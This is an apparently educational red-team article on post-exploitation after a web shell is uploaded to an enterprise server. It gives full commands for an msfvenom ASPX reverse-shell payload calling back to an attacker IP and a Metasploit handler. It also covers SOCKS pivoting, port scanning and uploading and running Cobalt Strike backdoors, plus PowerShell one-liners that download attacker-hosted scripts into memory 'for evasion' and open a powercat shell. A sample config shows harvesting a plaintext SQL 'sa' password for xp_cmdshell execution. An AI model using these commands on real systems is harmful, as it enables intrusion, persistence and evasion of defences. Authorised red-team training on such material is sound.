In real-world scenarios, achieving the goals of a penetration test or red teaming project can typically be approached in two ways:
- Exploiting services
- Social engineering
Enterprise organizations have numerous services that can serve as attack surfaces. Examples include:
- Web applications / APIs
- Jenkins
- GitLab
- CRM systems
- Microsoft Exchange
- SharePoint
- VPNs
- And more...
A penetration tester typically follows OWASP methodologies when targeting web applications or APIs. For instance, a tester might exploit vulnerabilities in a web application, upload a web shell, and conclude the penetration testing project once the web shell has been successfully uploaded.
Penetration Test Process (Simplified):
- Identify and exploit web application vulnerabilities.
- Upload a web shell.
- Validate access and document findings in the final report.
For red teamers, the work often begins after the web shell is uploaded. Unlike penetration testing, red teaming involves simulating a more sophisticated, adversarial attack aimed at achieving deeper access and persistence within the network.
-
Workgroup vs Domain:
- If the target web server is in a workgroup, gaining access to the domain becomes a priority. This may involve finding credentials or pivoting through lateral movement.
- If the server is already part of a domain, the focus shifts to escalating privileges and moving laterally within the domain.
-
Privilege Levels:
- Initial access might be as a low-privileged user, but due to common misconfigurations, elevated privileges such as
SYSTEM
orroot
might be achievable. For example:- Uploading a web shell might provide immediate access to the
NT SYSTEM
account.
- Uploading a web shell might provide immediate access to the
- Initial access might be as a low-privileged user, but due to common misconfigurations, elevated privileges such as
Often, sensitive configuration files such as web.config
in IIS web servers (located in C:\inetpub\wwwroot\webapplicationpath\
) contain database connection strings. For example:
<connectionStrings>
<add name="DBConnectionString" connectionString="Data Source=SQLSERVER;Initial Catalog=MyDatabase;User ID=sa;Password=password123" />
</connectionStrings>
In this case:
- The
sa
user and password could allow direct access to the SQL database. - If the SQL server runs as
NT SYSTEM
, commands can be executed with elevated privileges using tools likexp_cmdshell
.
The Assumed Breach methodology is popular for red teaming. This approach skips the reconnaissance, resource development, and initial access tactics from the MITRE ATT&CK framework, assuming instead that the network is already compromised.
- After gaining domain admin privileges, you might need to access an internal service such as RDP (port 3389). If the firewall does not allow external access, port forwarding tools such as
tunna
or the Metasploitportforward
module can help.
Create a Meterpreter payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.174.147 LPORT=1234 -f aspx -o shell.aspx
Start a Metasploit handler:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.174.147
set LPORT 1234
run
Perform post-exploitation tasks for instances: Enable SOCKS proxy:
run post/multi/manage/socks_proxy
Scan for open ports:
run post/multi/gather/portscan
Upload long-haul backdoors, such as Cobalt Strike payloads:
upload <payload_file> C:\temp\payload.exe
execute -f C:\temp\payload.exe
Through the web shell, various PowerShell commands can be used for information gathering (discovery). Examples include:
$env:USERDNSDOMAIN
(Get-ADDomain).DNSRoot
(Get-WmiObject Win32_ComputerSystem).Domain
Get-ADDomain | select DNSRoot, NetBIOSName, DomainSID
Get-ADForest
nltest /domain_trusts
PowerShell allows downloading and executing scripts in-memory, which is useful for evasion. Examples include using tools like Nishang and PowerCat:
powershell -c iex ((New-Object Net.WebClient).DownloadString('http://192.168.174.147/Get-Information.ps1')); Get-Information
powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://192.168.174.147/powercat.ps1')); powercat -l -p 443 -e cmd